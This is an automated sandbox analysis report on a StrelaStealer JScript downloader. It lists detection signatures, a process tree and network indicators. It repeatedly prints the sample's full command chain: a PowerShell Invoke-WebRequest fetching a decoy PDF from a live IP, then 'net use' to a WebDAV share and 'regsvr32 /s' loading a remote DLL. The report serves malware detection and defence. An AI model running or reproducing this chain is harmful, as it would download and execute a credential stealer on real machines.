Edit tour

Windows Analysis Report
17048156412338914445.js

Overview

General Information

Sample name:	17048156412338914445.js
Analysis ID:	1587815
MD5:	4897cf69a2eb2cd30564a1ec5728f6f7
SHA1:	48cefcf5c657594646f8def11d8376ae8caea709
SHA256:	67ef1c9c1ec535a7be80b7013953c6a3700b29afa580e4d9b6aff90202710b9c
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 280 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17048156412338914445.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6008 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3000 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6968 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 280 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7116 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4372 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

AcroCEF.exe (PID: 7148 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1648,i,5533572274708522067,2583551594818797264,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

svchost.exe (PID: 2120 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 280	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6008, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3000, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6008, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3000, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17048156412338914445.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17048156412338914445.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17048156412338914445.js", ProcessId: 280, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4372, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 61226

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17048156412338914445.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ProcessId: 6008, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17048156412338914445.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ProcessId: 6008, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17048156412338914445.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ProcessId: 6008, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17048156412338914445.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ProcessId: 6008, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17048156412338914445.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ProcessId: 6008, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17048156412338914445.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17048156412338914445.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17048156412338914445.js", ProcessId: 280, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6008, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3000, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7116, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4372, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2120, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7116, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4372, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17048156412338914445.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll, ProcessId: 6008, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:14:16.916879+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	61226	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:14:14.736975+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	61210	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 17048156412338914445.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 17048156412338914445.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:61226 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:14:14 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 61226 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 61226

Source: global traffic

TCP traffic: 192.168.2.6:61226 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:61136 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:61210 -> 193.143.1.205:80

Source: global traffic

